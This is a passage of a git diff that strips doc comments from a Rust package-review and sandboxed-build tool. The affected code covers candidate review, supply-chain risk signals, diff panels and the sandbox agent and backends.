such review")] NotFound, - /// The review no longer matches what was displayed. #[error(transparent)] Stale(Stale), - /// The write itself failed. #[error("{0}")] System(Error), } -/// §7.4 bulk decision. High-risk items are refused unless confirmed -/// individually, and one refused item never rolls back the ones that were -/// decided. `items` carries the identity and diff each review was displayed -/// with, so the approval-echo rule applies to bulk exactly as to a single -/// approval. pub fn bulk( db: &Db, actor: &str, - items: &[(i64, String, String)], // (candidate_id, identity_hash, diff_digest) + items: &[(i64, String, String)], decision: &str, confirmed: &[i64], ) -> Result<Vec<BulkItem>> { @@ -240,8 +204,6 @@ pub fn approval_for(db: &Db, candidate_id: i64) -> Result<Option<(i64, String)>> approvals::for_candidate(db, candidate_id) } -/// Withdraw a published release (§9 `repo-remove` path, decision 23: warns, -/// does not block). pub fn withdraw(db: &Db, actor: &str, release_id: i64, reason: &str) -> Result<()> { let actor = actor.to_string(); let reason = reason.to_string(); diff --git a/src/review/candidates.rs b/src/review/candidates.rs index d4c49e8..53361fe 100644 --- a/src/review/candidates.rs +++ b/src/review/candidates.rs @@ -8,23 +8,13 @@ pub use crate::db::candidates::{ #[derive(Debug, Clone, PartialEq, Eq)] pub enum Upsert { - /// A new review row was opened. Created { id: i64, kind: String }, - /// The open review was updated in place; no new row, `base` untouched (I7). Collapsed { id: i64, revision: i64 }, - /// A human had already seen the old diff, so it was frozen as `superseded` - /// and a fresh review opened (decision 8). Superseded { old: i64, new: i64 }, - /// This exact identity was rejected before; do not nag (§7.1). PreviouslyRejected, - /// Nothing changed relative to what is already recorded. Unchanged, } -/// Insert-or-collapse a candidate for `pb`. -/// -/// `accepted` is the pkgbase's current accepted release, or `None` when this is -/// a first introduction (§7.1b). pub fn upsert_candidate(db: &Db, pb: &Pkgbase, accepted: Option<&ReleaseRow>, nc: &NewCandidate) -> Result<Upsert> { let kind = if accepted.is_some() { db::candidate_kind::NEW_VERSION } else { db::candidate_kind::FIRST_INTRODUCTION }; let base = accepted.map(|a| a.id); @@ -40,14 +30,11 @@ pub fn upsert_candidate(db: &Db, pb: &Pkgbase, accepted: Option<&ReleaseRow>, nc let revision = sql::collapse_in(tx, &open, &nc)?; return Ok(Upsert::Collapsed { id: open.id, revision }); } - // A human saw the old diff: freeze it for the audit trail and open - // a fresh review against the same base. sql::supersede_in(tx, open.id)?; let new_id = sql::insert_in(tx, pkgbase_id, base, kind, &nc)?; return Ok(Upsert::Superseded { old: open.id, new: new_id }); } - // A previously rejected identity must not be re-raised. if sql::rejected_before_in(tx, pkgbase_id, &nc.identity_hash)? { return Ok(Upsert::PreviouslyRejected); } diff --git a/src/review/diff.rs b/src/review/diff.rs index 519d9ae..42467f0 100644 --- a/src/review/diff.rs +++ b/src/review/diff.rs @@ -7,11 +7,9 @@ use crate::git; pub struct Panel { pub name: &'static str, pub title: &'static str, - /// Unified-diff text, or a readable rendering for panels that are not diffs. pub body: String, } -/// Everything a reviewer needs for one candidate. pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow>) -> Result<Vec<Panel>> { let mut out = Vec::new(); let snap = db::snapshot_by_id(db, c.snapshot_id)?; @@ -44,8 +42,6 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow> out.push(install_delta(old, new)); } } else { - // §7.1b first_introduction: no diff pane. The full recipe is rendered - // readably instead, by the template. out.push(Panel { name: "recipe_full", title: "Full recipe", @@ -57,7 +53,6 @@ pub fn panels(cfg: &Config, db: &Db, c: &CandidateRow, base: Option<&ReleaseRow> Ok(out) } -/// The recipe a candidate recorded, if we kept the snapshot. fn recipe_of(db: &Db, snapshot_id: Option<i64>) -> Option<Recipe> { let id = snapshot_id?; let snap = db::snapshot_by_id(db, id).ok().flatten()?; @@ -68,8 +63,6 @@ fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Option<i64> { db::candidate_snapshot_id(db, candidate_id).ok().flatten() } -/// `source=()` entries added, removed, or moved to a different host (§6). A new -/// host is the classic supply-chain shape and must be impossible to miss. fn source_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for s in &new.source { @@ -90,7 +83,6 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel { for h in old_hosts.difference(&new_hosts) { body.push_str(&format!("! source host gone: {h}\n")); } - // A declared checksum that became SKIP is a weakening, not a change. for (i, sum) in new.sha256sums.iter().enumerate() { if sum.eq_ignore_ascii_case("SKIP") { match old.sha256sums.get(i) { @@ -110,8 +102,6 @@ fn source_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "sources", title: "Source delta", body } } -/// Dependency changes, resolved against our own index where we can say what it -/// means: "this will pull in a package we have never published". fn dependency_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for (label, o, n) in [ @@ -137,7 +127,6 @@ fn dependency_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "deps", title: "Dependency delta", body } } -/// Everything that changes *how* it is built rather than what is built. fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); for o in &new.options { @@ -174,7 +163,6 @@ fn build_env_delta(old: &Recipe, new: &Recipe) -> Panel { Panel { name: "buildenv", title: "Build-env delta", body } } -/// `.install` hooks are arbitrary code that runs on every consumer machine. fn install_delta(old: &Recipe, new: &Recipe) -> Panel { let mut body = String::new(); match (&old.install, &new.install) { @@ -184,9 +172,6 @@ fn install_delta(old: &Recipe, new: &Recipe) -> Panel { _ => {} } if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { - // The recipe diff shows the text; this panel calls out that the - // executable part moved, which is what actually runs — on this machine - // and on every machine that installs the result. body.push_str("! build()/package() bodies changed — this is code that runs here and on every installer\n"); } Panel { name: "install", title: "Install-script delta", body } @@ -269,7 +254,6 @@ fn short(s: &str) -> String { if s.len() > 12 { s[..12].to_string() } else { s.to_string() } } -/// Flatten the rendered panels into one canonical string. pub fn render_text(ps: &[Panel]) -> String { let mut s = String::new(); for p in ps { @@ -278,12 +262,10 @@ pub fn render_text(ps: &[Panel]) -> String { s } -/// `diff_digest`: hash of the exact rendered diff the human was shown (§7.2). pub fn diff_digest(ps: &[Panel]) -> String { crate::hash::hex_str(&render_text(ps)) } -/// The recipe text a reviewer reads for a first introduction (§7.1b). pub fn full_recipe_text(db: &Db, c: &CandidateRow) -> Result<String> { let snap = db::snapshot_by_id(db, c.snapshot_id)?; let snap = snap.ok_or_else(|| crate::error::Error::not_found("snapshot missing"))?; @@ -291,9 +273,6 @@ pub fn full_recipe_text(db: &Db, c: &CandidateRow) -> Result<String> { Ok(r.pkgbuild) } -/// Render the panels, store the resulting `diff_digest` on the candidate, and -/// hand it back. The approve POST must echo this value, which is what makes -/// "we build exactly what was displayed" checkable (§7.1a). pub fn render_and_store(db: &Db, cfg: &Config, c: &CandidateRow) -> Result<String> { let base = match c.base_release_id { Some(id) => db::release_by_id(db, id)?, @@ -305,7 +284,6 @@ pub fn render_and_store(db: &Db, cfg: &Config, c: &CandidateRow) -> Result<Strin Ok(digest) } -/// Re-render for a 409 response: show the reviewer what the candidate is now. pub fn render_current(db: &Db, cfg: &Config, c: &CandidateRow) -> Result<(String, String)> { let base = match c.base_release_id { Some(id) => db::release_by_id(db, id)?, diff --git a/src/review/risk.rs b/src/review/risk.rs index 3b483cf..f33f9e0 100644 --- a/src/review/risk.rs +++ b/src/review/risk.rs @@ -8,12 +8,8 @@ pub mod level { pub const HIGH: &str = "high"; } -/// A build tool in `makedepends` means the build can fetch and compile anything -/// (§16: we do not sandbox the network in v0, so the reviewer should see it). const FETCHING_BUILD_TOOLS: &[&str] = &["cargo", "npm", "go", "pip", "python", "ruby", "deno", "rust", "nodejs"]; -/// Files whose presence in an upstream commit range means the build itself -/// changed, not just the code. const BUILD_SYSTEM_FILES: &[&str] = &[ "Cargo.toml", "Cargo.lock", "package.json", "setup.py", "pyproject.toml", "Makefile", "CMakeLists.txt", "meson.build", "go.mod", "Gemfile", "build.gradle", @@ -31,8 +27,6 @@ impl Assessment { } } -/// Score a candidate against the release it would replace. `None` accepted -/// means a first introduction, which is its own kind of review (§7.1b). pub fn assess( db: &Db, cfg: &crate::config::Config, @@ -54,7 +48,6 @@ pub fn assess( } } - // Things only visible from the recipe itself. if new.skipgpcheck { s.add("skippgpcheck", level::HIGH); } @@ -67,8 +60,6 @@ pub fn assess( } } if new.install.is_some() { - // An `.install` script is arbitrary code that runs on every consumer - // machine at install time. s.add("install-script", level::HIGH); } for opt in &new.options { @@ -77,8 +68,6 @@ pub fn assess( } } - // Upstream movement that touches the build system (§6): the diff is in a - // language ecosystem we cannot inspect, so say so. if let Some(a) = accepted { for pin in accepted_pins(accepted) { if let Some(old_pin) = a.pins().into_iter().find(|p| p.index == pin.index) { @@ -101,7 +90,6 @@ fn accepted_pins(accepted: Option<&ReleaseRow>) -> Vec<UpstreamPin> { } fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { - // Version deltas. if new.epoch != old.epoch && pkgver::vercmp(&new.epoch, &old.epoch) == std::cmp::Ordering::Greater { s.add("epoch-bump", level::MEDIUM); } @@ -111,7 +99,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if pkgver::is_downgrade(&old.pkgver, &new.pkgver) { s.add("downgrade", level::MEDIUM); } - // Sources: added/removed entries and host changes. let old_hosts = crate::urlutil::hosts(&old.source); let new_hosts = crate::urlutil::hosts(&new.source); for h in &new_hosts { @@ -122,7 +109,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if new.source.len() != old.source.len() { s.add("source-set-changed", level::MEDIUM); } - // Checksums weakening: a sum that existed and is now SKIP. for (i, sum) in new.sha256sums.iter().enumerate() { if sum.eq_ignore_ascii_case("SKIP") { match old.sha256sums.get(i) { @@ -136,7 +122,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if !old.validpgpkeys.is_empty() && new.validpgpkeys.is_empty() { s.add("validpgpkeys-removed", level::HIGH); } - // Dependencies. let old_md: std::collections::BTreeSet<String> = pkgver::dep_names(&old.makedepends).into_iter().collect(); for md in pkgver::dep_names(&new.makedepends) { if !old_md.contains(&md) { @@ -146,10 +131,8 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { let old_cd: std::collections::BTreeSet<String> = pkgver::dep_names(&old.checkdepends).into_iter().collect(); let new_cd: std::collections::BTreeSet<String> = pkgver::dep_names(&new.checkdepends).into_iter().collect(); if !old_cd.is_empty() && new_cd.is_empty() { - // Tests silently stopped running. s.add("checkdepends-removed", level::MEDIUM); } - // Did the executable part of the recipe change, or only metadata? if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { s.add("recipe-code-changed", level::HIGH); } @@ -158,9 +141,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { } } -/// Digest comparison. Drift with no version change is an `integrity_alert` -/// (§5.3) and never reaches here as a review, so anything that *does* show up -/// alongside a version change is still worth saying. fn compare_digests( _old: &Recipe, _new: &Recipe, @@ -178,9 +158,7 @@ fn compare_digests( } } - fn upstream_touches_build_system(cfg: &crate::config::Config, from: &str, to: &str) -> bool { - // Best-effort: if we have the upstream clone cached we can ask it directly. let cache = cfg.vcs_cache_dir(); if !cache.exists() { return false; @@ -197,7 +175,6 @@ fn upstream_touches_build_system(cfg: &crate::config::Config, from: &str, to: &s false } -/// Accumulator that keeps the highest level seen and de-duplicates signals. #[derive(Debug, Default)] struct SignalSet { level: String, diff --git a/src/sandbox/agent.rs b/src/sandbox/agent.rs index d7b841c..e9626f6 100644 --- a/src/sandbox/agent.rs +++ b/src/sandbox/agent.rs @@ -11,16 +11,12 @@ use crossbeam_channel::unbounded; use crate::error::{Error, Result}; use crate::sandbox::wire::{self, Frame}; -/// CLI-shaped arguments for the `sandbox-agent` binary. #[derive(Debug, Clone)] pub struct AgentOptions { pub hub: String, pub token: String, pub profile: String, pub ttl: Duration, - /// The identity the hub knows this sandbox by. A provisioner (Kata CR, - /// containerd run, a test) passes the nonce it registered with the hub; - /// the hello frame carries it back so the rendezvous can be matched. pub agent_id: Option<String>, } @@ -50,8 +46,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { let blobs = blob_dir(&agent_id); std::fs::create_dir_all(&blobs)?; - // Shared watchdog state: the reader thread stamps every inbound frame; - // the watchdog exits (killing the child) when the hub goes silent. let last_inbound = Arc::new(Mutex::new(Instant::now())); let child = Arc::new(Mutex::new(None::<u32>)); let alive = Arc::new(AtomicBool::new(true)); @@ -80,7 +74,7 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { loop { let frame = match wire::read_frame(&mut reader) { Ok(Some(f)) => f, - Ok(None) => break, // hub hung up: the lease is over + Ok(None) => break, Err(e) => { outcome = Err(e.into()); break; @@ -99,7 +93,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { } } alive.store(false, Ordering::Relaxed); - // Whatever we were running dies with us, always. if let Some(pid) = *child.lock().unwrap() { unsafe { libc::kill(pid as i32, libc::SIGKILL); @@ -109,7 +102,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { outcome } -/// Returns true when the agent should stop (Destroy / fatal child loss). fn handle( frame: Frame, writer: &Arc<Mutex<TcpStream>>, @@ -121,8 +113,6 @@ fn handle( Frame::Ping {} => Ok(false), Frame::Put { req, digest, data } => { let bytes = wire::unhex(&data).map_err(io_err)?; - // The agent verifies content-addressing on its side too: a blob - // that does not hash to its name is refused, not staged. if crate::hash::hex(&bytes) != digest { reply(writer, req, Err("put: data does not hash to the claimed digest"))?; return Ok(false); @@ -159,7 +149,6 @@ fn run_child( child: &Arc<Mutex<Option<u32>>>, ) -> Result<()> { let mut argv = argv; - // Expand `blob:<digest>` argv elements, like the loopback backend does. for a in argv.iter_mut() { if let Some(digest) = a.strip_prefix("blob:") { *a = safe_blob_path(blobs, digest)?.display().to_string(); @@ -179,9 +168,6 @@ fn run_child( let mut proc = c.spawn()?; *child.lock().unwrap() = Some(proc.id()); - // Stream both pipes as they fill: readers hand chunks to the frame writer - // over a channel, so a chatty build never blocks on the socket and vice - // versa. let (tx, rx) = unbounded::<(&'static str, Vec<u8>)>(); let mut pipes = Vec::new(); let pipes_spec: [(&'static str, Option<Box<dyn std::io::Read + Send>>); 2] = [ @@ -246,14 +232,10 @@ fn connect_with_retry(hub: &str, for_long: Duration) -> std::result::Result<TcpS } } -/// Blob scratch, removed when the lease ends. fn blob_dir(agent_id: &str) -> PathBuf { std::env::temp_dir().join(format!("aur-{agent_id}-blobs")) } -/// Digests are the only blob names, and they must stay path-safe — the same -/// rule the loopback backend enforces, so a hostile frame cannot escape the -/// blob directory. fn safe_blob_path(blobs: &Path, digest: &str) -> Result<PathBuf> { if digest.is_empty() || digest.len() > 128 diff --git a/src/sandbox/kata.rs b/src/sandbox/kata.rs index 9169f9f..fafe858 100644 --- a/src/sandbox/kata.rs +++ b/src/sandbox/kata.rs @@ -15,9 +15,6 @@ use crate::sandbox::remote::RemoteSandbox; use crate::sandbox::wire::{self, Frame}; use crate::sandbox::{Sandbox, SandboxBackend, SandboxInfo, SandboxSpec}; -/// What any provisioner needs to know to start one sandbox pointed at this -/// hub. `sandbox_id` is the rendezvous nonce: the hub will only lease the -/// connection whose hello carries it back. #[derive(Debug, Clone)] pub struct ProvisionRequest { pub sandbox_id: String, @@ -29,10 +26,7 @@ pub struct ProvisionRequest { } pub trait Provisioner: Send + Sync { - /// Start a sandbox for `req`. Must return quickly; the sandbox dials in - /// asynchronously and `acquire` waits on the dial. fn provision(&self, req: &ProvisionRequest) -> Result<()>; - /// Reclaim a sandbox out of band (TTL would also do it eventually). fn reclaim(&self, sandbox_id: &str) -> Result<()>; fn name(&self) -> &str; } @@ -77,9 +71,6 @@ pub fn sandbox_cr(req: &ProvisionRequest) -> serde_json::Value { } impl K8sSandboxProvisioner { - /// The provisioner an `agent-sandbox` configuration names. Split out so a - /// test can assert the cluster coordinates reach it from a parsed config, - /// and so `shared_for` and any later caller build it the same way. pub fn for_config(cfg: &Config) -> Option<Self> { match &cfg.sandbox { crate::config::Sandbox::AgentSandbox { api, namespace, bearer, .. } => Some(Self { @@ -92,9 +83,6 @@ impl K8sSandboxProvisioner { } } -/// Talks to a Kubernetes API serving an agent-sandbox-style CRD. Real code, -/// exercised only by the gated live tier — this repository's philosophy is -/// that a gated tier is recorded as skipped, never silently absent. pub struct K8sSandboxProvisioner { pub api: String, pub bearer: String, @@ -133,9 +121,6 @@ impl Provisioner for K8sSandboxProvisioner { } } -/// The test/dev provisioner: a real `sandbox-agent` process, no VM. This is -/// what keeps the kata rendezvous and TTL logic under honest test on a -/// machine with neither root nor `/dev/kvm`. pub struct LocalAgentProvisioner { pub bin: PathBuf, children: Mutex<HashMap<String, Child>>, @@ -184,24 +169,11 @@ pub struct KataBackend { token: String, addr: String, provisioner: Arc<dyn Provisioner>, - /// Nonce → the waiting `acquire`. The accept thread routes dial-ins by - /// the `agent_id` the hello frame carries; anything unknown is dropped, - /// because a sandbox the hub did not ask for is a sandbox to not lease. pending: Arc<Mutex<HashMap<String, Sender<TcpStream>>>>, counter: AtomicU64, } impl KataBackend { - /// The one Kata backend this process should use for this configuration. - /// - /// A Kata backend cannot share only its listener the way the plain remote - /// backend does: it routes every dial-in by the nonce in its `Hello` into a - /// map that belongs to it, so two backends on one address would each see half - /// the dial-ins. The whole backend is therefore shared, and binding happens - /// exactly once per distinct configuration. - /// - /// The key is a digest of everything that distinguishes one backend from - /// another, so the tokens are not sitting around in a second place. pub fn shared_for(cfg: &Config) -> Result<Arc<KataBackend>> { let crate::config::Sandbox::AgentSandbox { api, namespace, bearer, image, listen, token, .. } = &cfg.sandbox @@ -227,9 +199,6 @@ impl KataBackend { Ok(backend) } - /// The request a lease turns into, for one nonce. Split out of `acquire` so - /// a test can assert what a *configuration* becomes without a cluster in - /// the loop. pub fn provision_request(&self, spec: &SandboxSpec, id: &str) -> ProvisionRequest { ProvisionRequest { sandbox_id: id.to_string(), @@ -269,8 +238,6 @@ impl KataBackend { }) } - /// Reclaim a sandbox out of band. The TTL would also do this eventually; - /// this is just not making someone else pay for the wait. pub fn reclaim(&self, sandbox_id: &str) -> Result<()> { self.provisioner.reclaim(sandbox_id) } @@ -289,15 +256,11 @@ impl KataBackend { } } -/// Read one hello and route it. A connection that greets with a nonce nobody -/// asked for is dropped unread — the TTL on the provisioner cleans that box -/// up, and the hub never leases a sandbox it did not order. fn route_dial_in( stream: TcpStream, token: &str, pending: &Arc<Mutex<HashMap<String, Sender<TcpStream>>>>, ) { - // Bounded so a box that connects and says nothing cannot park the loop. let _ = stream.set_read_timeout(Some(Duration::from_secs(10))); let mut reader = match stream.try_clone() { Ok(s) => BufReader::new(s), @@ -323,8 +286,6 @@ impl SandboxBackend for KataBackend { self.pending.lock().unwrap().remove(&id); return Err(e); } - // The TTL is the wait bound *and* the sandbox's own deadline: nobody - // dials in by then, and nobody ever will — the box is dying or dead. let stream = match rx.recv_timeout(spec.ttl) { Ok(s) => s, Err(_) => { @@ -378,11 +339,8 @@ mod tests { .iter() .map(|v| v.as_str().unwrap().to_string()) .collect::<Vec<_>>(); - // The rendezvous nonce and the hub coordinates must reach the agent. assert!(args.windows(2).any(|w| w[0] == "--agent-id" && w[1] == "sbx-abc123")); assert!(args.windows(2).any(|w| w[0] == "--hub" && w[1] == "10.0.0.5:9443")); assert!(args.windows(2).any(|w| w[0] == "--token" && w[1] == "t0ken")); } - - } diff --git a/src/sandbox/loopback.rs b/src/sandbox/loopback.rs index 8a3c229..1173562 100644 --- a/src/sandbox/loopback.rs +++ b/src/sandbox/loopback.rs @@ -19,9 +19,6 @@ impl LoopbackBackend { impl SandboxBackend for LoopbackBackend { fn acquire(&self, spec: &SandboxSpec) -> Result<Arc<dyn Sandbox>> { - // The "pool" is this machine: acquire always succeeds, instantly, and - // the TTL is a promise the loopback sandbox does not have to keep - // because there is nothing to leak — the process dies with the hub. let blobs = blob_root(&self.cfg).join(safe_name(&spec.task)); fs::create_dir_all(&blobs)?; Ok(Arc::new(LoopbackSandbox { @@ -55,9 +52,6 @@ impl Sandbox for LoopbackSandbox { if cmd.argv.is_empty() { return Err(Error::invalid("sandbox command has no argv[0]")); } - // Expand `blob:<digest>` argv elements to the staged blob's path — - // the loopback sandbox's blob dir is "inside the sandbox" as much as - // anything here is. An unstaged blob is a caller bug and fails closed. let mut argv: Vec<String> = Vec::with_capacity(cmd.argv.len()); for a in &cmd.argv { match a.strip_prefix("blob:") { @@ -79,8 +73,6 @@ impl Sandbox for LoopbackSandbox { if let Some(dir) = &cmd.cwd { c.current_dir(dir); } - // The shim protocol lives here, not in the steps: a step that cannot - // tell loopback from a remote sandbox is the property under test. self.cfg.child_env(&mut c); let out = c.output()?; on_log(&out.stdout); @@ -101,16 +93,11 @@ impl Sandbox for LoopbackSandbox { } fn destroy(&self) -> Result<()> { - // Nothing to reclaim: the sandbox is this process. Blob scratch is - // disposable staging and falls to `gc` like the rest of `staging/`. Ok(()) } } impl LoopbackSandbox { - /// Digests double as blob filenames, so they must be path-safe. The digests - /// this codebase produces are hex or `hex-sig`; anything else is a caller - /// bug (or, later, a hostile sandbox) and fails closed. fn blob_path(&self, digest: &str) -> Result<PathBuf> { if digest.is_empty() || digest.len() > 128 { return Err(Error::invalid(format!("blob digest {digest:?} is not usable"))); @@ -126,7 +113,6 @@ fn blob_root(cfg: &Config) -> PathBuf { cfg.staging_dir().join("blobs") } -/// Filesystem-safe name for a task id, same spirit as `config::slug`. fn safe_name(s: &str) -> String { s.chars() .map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' }) diff --git a/src/sandbox/mod.rs b/src/sandbox/mod.rs index ea3e126..3bd4b3b 100644 --- a/src/sandbox/mod.rs +++ b/src/sandbox/mod.rs @@ -16,14 +16,6 @@ pub mod loopback; pub mod remote; pub mod wire; -/// A command to run inside a sandbox. Deliberately argv-shaped, never -/// shell-shaped: a remote sandbox must not be handed a shell string. The -/// environment is the backend's business (see `Config::child_env`). -/// -/// An argv element of the form `blob:<digest>` names a blob staged with -/// [`Sandbox::put`]; the backend expands it to wherever the blob materializes -/// inside the sandbox. Callers never name sandbox-local paths, which is what -/// keeps a loopback step byte-identical to a remote one. #[derive(Debug, Clone)] pub struct Cmd { pub argv: Vec<String>, @@ -47,7 +39,6 @@ impl Cmd { } } -/// A finished command. `code` is `None` when the child died by signal. #[derive(Debug)] pub struct Exit { pub code: Option<i32>, @@ -61,10 +52,6 @@ impl Exit { } } -/// What a caller asks the pool for. `profile` is the only affinity key warm -/// pools need today (§8.3); `ttl` is the guarantee that the sandbox is dead no -/// matter what this process then does; `disk_mb` replaces the hub's local -/// disk-headroom check (§8.2) once builds leave the hub's filesystem. #[derive(Debug, Clone)] pub struct SandboxSpec { pub profile: String, @@ -79,7 +66,6 @@ impl SandboxSpec { } } -/// Pool state for the UI and notices. #[derive(Debug, Clone)] pub struct SandboxInfo { pub id: String, @@ -87,32 +73,19 @@ pub struct SandboxInfo { pub warm: bool, } -/// A leased sandbox. `run` streams output through `on_log` as it arrives and -/// also returns it captured, so a step can parse stdout while the build log -/// stays complete. `put`/`get` move content-addressed blobs and never accept a -/// destination path from a sandbox — the same I9 posture the local staging -/// containment checks enforce. pub trait Sandbox: Send + Sync { fn id(&self) -> &str; fn run(&self, cmd: &Cmd, on_log: &mut dyn FnMut(&[u8])) -> Result<Exit>; fn put(&self, digest: &str, r: &mut dyn Read) -> Result<()>; fn get(&self, digest: &str) -> Result<Box<dyn Read>>; - /// Idempotent, and also happens by itself when the TTL bites. fn destroy(&self) -> Result<()>; } -/// The pool. `acquire` may return a pre-warmed sandbox, cold-start one, or fail -/// when at quota; a failed acquire is a blocked build, not a broken one. pub trait SandboxBackend: Send + Sync { fn acquire(&self, spec: &SandboxSpec) -> Result<Arc<dyn Sandbox>>; fn status(&self) -> Result<Vec<SandboxInfo>>; } -/// Turn a configuration into the backend it names — the only place that does. -/// -/// `Config::validate` runs here as well as at startup: a guard that only exists -/// in the CLI is a guard a test or a future daemon can walk past. An unknown or -/// unwired kind is an error, never a fallthrough. pub fn backend_for(cfg: &Config) -> Result<Arc<dyn SandboxBackend>> { cfg.validate()?; match &cfg.sandbox { @@ -127,20 +100,12 @@ pub fn backend_for(cfg: &Config) -> Result<Arc<dyn SandboxBackend>> { } } -/// A listener shared by every backend built from the same `(addr, token)`. #[derive(Clone)] pub(crate) struct Bound { pub local: String, pub rx: Receiver<TcpStream>, } -/// One bound listener per `(address, token)` per process. -/// -/// The listener belongs to the process, not to a build: binding it per build -/// meant a second concurrent build hit `EADDRINUSE` for a reason unrelated to -/// its package. The token is part of the key because two different tokens -/// cannot share a listener, and silently reusing the first one's listener would -/// be a fail-open surprise. pub(crate) fn bound_listener(addr: &str, token: &str) -> Result<Bound> { static REGISTRY: OnceLock<Mutex<HashMap<(String, String), Bound>>> = OnceLock::new(); let registry = REGISTRY.get_or_init(|| Mutex::new(HashMap::new())); diff --git a/src/sandbox/remote.rs b/src/sandbox/remote.rs index 1f9514f..ba70155 100644 --- a/src/sandbox/remote.rs +++ b/src/sandbox/remote.rs @@ -13,17 +13,10 @@ pub struct RemoteBackend { cfg: Config, token: String, addr: String, - /// Connections the accept thread has taken off the listener but not yet - /// rendezvoused. `acquire` waits on this up to the spec's TTL. queue: Receiver<std::net::TcpStream>, } impl RemoteBackend { - /// Bind the agent listener — or share the one this process already bound for - /// the same `(addr, token)`; see [`crate::sandbox::bound_listener`]. `addr` - /// may name port 0; [`Self::local_addr`] reports what actually got bound, - /// which is how a test (or a supervisor) hands the address to the agent - /// without a port negotiation dance. pub fn bind(cfg: &Config, addr: &str, token: &str) -> Result<Self> { let bound = super::bound_listener(addr, token)?; Ok(Self { cfg: cfg.clone(), token: token.to_string(), addr: bound.local, queue: bound.rx }) @@ -42,8 +35,6 @@ impl SandboxBackend for RemoteBackend { self.addr )) })?; - // The rendezvous itself is bounded; the run loop is not (pings keep - // the agent's watchdog fed, and a dead agent fails the step anyway). let _ = stream.set_read_timeout(Some(spec.ttl)); let mut reader = BufReader::new(stream.try_clone()?); let agent_id = match wire::read_frame(&mut reader)? { @@ -90,9 +81,6 @@ pub struct RemoteSandbox { } impl RemoteSandbox { - /// Wrap a stream whose `Hello` has been verified and answered. Split out - /// so the kata backend can lease a rendezvoused connection with its own - /// accept loop without duplicating the sandbox half. pub(crate) fn after_hello(cfg: &Config, stream: std::net::TcpStream, agent_id: String, ttl: std::time::Duration) -> Self { let reader = BufReader::new( stream.try_clone().expect("cloning a connected tcp stream cannot fail"), @@ -111,9 +99,6 @@ impl RemoteSandbox { wire::write_frame(&mut *self.writer.lock().unwrap(), frame).map_err(Into::into) } - /// Read frames until a reply for `req` arrives. `Log` frames for that - /// request are handed to `sink` (stream name + bytes) as they arrive, so - /// the caller gets live streaming *and* can accumulate what it needs. fn pump(&self, req: u64, sink: &mut dyn FnMut(&str, &[u8])) -> Result<Frame> { loop { let frame = match wire::read_frame(&mut *self.reader.lock().unwrap())? { @@ -132,7 +117,7 @@ impl RemoteSandbox { { return Ok(frame) } - _ => {} // Ping echoes and foreign requests are not ours + _ => {} } } } @@ -151,8 +136,6 @@ impl Sandbox for RemoteSandbox { cwd: cmd.cwd.as_ref().map(|p| p.display().to_string()), env: self.cfg.child_env_pairs(), })?; - // Keepalive: the agent's watchdog expects a frame at least every TTL; - // a long build produces none of its own on the control connection. let stop = Arc::new(std::sync::atomic::AtomicBool::new(false)); let mut writer = self.writer.lock().unwrap().try_clone()?; { @@ -172,9 +155,6 @@ impl Sandbox for RemoteSandbox { let mut stdout = Vec::new(); let mut stderr = Vec::new(); let result = self.pump(req, &mut |stream, bytes| { - // The build log gets bytes in arrival order; the captured halves - // keep stdout and stderr apart so error tails name the right one, - // exactly like the loopback sandbox's Exit. on_log(bytes); if stream == "stderr" { stderr.extend_from_slice(bytes); @@ -213,7 +193,6 @@ impl Sandbox for RemoteSandbox { } fn destroy(&self) -> Result<()> { - // Best effort: a sandbox that is already gone has nothing to destroy. let _ = self.send(&Frame::Destroy {}); Ok(()) } diff --git a/src/sandbox/wire.rs b/src/sandbox/wire.rs index 8f03063..a0d06ca 100644 --- a/src/sandbox/wire.rs +++ b/src/sandbox/wire.rs @@ -2,13 +2,8 @@ use std::io::{self, BufRead, Write}; use serde::{Deserialize, Serialize}; -/// Refuse absurd frames before allocating for them. Blobs ride as hex inside -/// the frame, so this bounds a real package at ~2 GiB of hex — far above -/// anything legitimate, far below "accept whatever the sandbox sends". pub const MAX_FRAME_BYTES: u32 = 2 * 1024 * 1024 * 1024; -/// One protocol frame. `req` correlates a reply with a request; unsolicited -/// frames (`Ping`, `Hello`, `HelloAck`) carry none. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(tag = "t", rename_all = "snake_case")] pub enum Frame { @@ -51,8 +46,6 @@ pub fn write_frame(w: &mut impl Write, f: &Frame) -> io::Result<()> { w.flush() } -/// Read one frame. `Ok(None)` means a clean close, which for a sandbox means -/// the lease expired and the build should requeue. pub fn read_frame(r: &mut impl BufRead) -> io::Result<Option<Frame>> { let mut len = [0u8; 4]; match r.read_exact(&mut len) { diff --git a/src/shims/mod.rs b/src/shims/mod.rs index 818d28d..debcd19 100644 --- a/src/shims/mod.rs +++ b/src/shims/mod.rs @@ -4,7 +4,6 @@ use serde::{Deserialize, Serialize}; use crate::hash; -/// One package the fake toolchain emits. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct FakePackage { @@ -42,7 +41,6 @@ impl Default for FakePackage { } impl FakePackage { - /// `1.0-1` split into the `(pkgver, pkgrel)` pacman expects in `.PKGINFO`. pub fn 